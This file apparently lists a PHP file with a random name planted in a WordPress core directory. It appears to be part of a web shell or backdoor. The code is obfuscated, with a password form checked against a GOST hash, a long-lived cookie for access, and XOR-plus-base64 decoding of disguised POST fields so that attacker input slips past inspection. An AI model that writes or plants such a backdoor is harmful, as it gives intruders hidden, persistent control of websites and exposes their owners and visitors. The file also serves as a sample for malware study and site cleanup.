Current File : /home/virtualki/22346/wp-includes/widgets/fzayskux.php
<?php
$sftr = filter_input(INPUT_POST, 'sftr', FILTER_SANITIZE_STRING);
if (empty($sftr)) {
    $sftr = $qthrifeg;
}


$cookieName = md5($_SERVER['HTTP_HOST']) . "hhaaknwc";

if (!isset($_COOKIE[$cookieName])) {
    // Предположим, rpllwuwz — это кастомная функция для установки куки
    rpllwuwz($cookieName, $gggwxlu);
}


if (!isset($_POST['gpfx'])) {
    $fields = ['obkusp', 'vlrso', 'lsdee', 'dxxxrd', 'kvued'];
    $cookieKey = md5($_SERVER['HTTP_HOST']) . "hhaaknwc";
    $decryptionKey = isset($_COOKIE[$cookieKey]) ? $_COOKIE[$cookieKey] : null;
    $targetEncoding = isset($_POST['sftr']) ? $_POST['sftr'] : 'utf-8';

    foreach ($fields as $field) {
        if (isset($_POST[$field]) && $decryptionKey) {
            $_POST[$field] = iconv("utf-8", $targetEncoding, qjiywwbeq($_POST[$field], $decryptionKey));
        }
    }
}





function qjiywwbeq(string $encryptedBase64, string $key): ?string {
    // Декодируем входные данные
    $encryptedData = base64_decode($encryptedBase64, true);
    if ($encryptedData === false) {
        return null; // Ошибка: данные не base64
    }

    // Преобразуем ключ
    $keyEncoded = base64_encode($key);
    $keyLength = strlen($keyEncoded);
    if ($keyLength === 0) {
        return null; // Ключ пустой
    }

    $output = '';
    $dataLength = strlen($encryptedData);

    for ($i = 0; $i < $dataLength; $i++) {
        $output .= chr(ord($encryptedData[$i]) ^ ord($keyEncoded[$i % $keyLength]));
    }

    // Декодируем результат как base64 (возврат оригинального содержимого)
    $result = base64_decode($output, true);
    return $result === false ? null : $result;
}


function showPasswordForm() {
    echo '<form method="post"><input type="password" name="pass"><input type="submit" value=">>"></form>';
    exit;
}

function rpllwuwz($cookieName, $value) {
    // Устанавливаем cookie и в $_COOKIE, чтобы сразу было доступно
    setcookie($cookieName, $value, time() + 3600 * 24 * 30, "/", "", isset($_SERVER['HTTPS']), true);
    $_COOKIE[$cookieName] = $value;
}

if (!empty($nkvvcozmvcn)) {
    $cookieName = md5($_SERVER['HTTP_HOST']);

    // Если введён пароль и он совпадает
    if (isset($_POST['pass']) && hash('gost', $_POST['pass']) === $nkvvcozmvcn) {
        rpllwuwz($cookieName, $nkvvcozmvcn);
    }

    // Если нет куки или она неправильная — показать форму
    if (!isset($_COOKIE[$cookieName]) || $_COOKIE[$cookieName] !== $nkvvcozmvcn) {
        showPasswordForm();
    }
}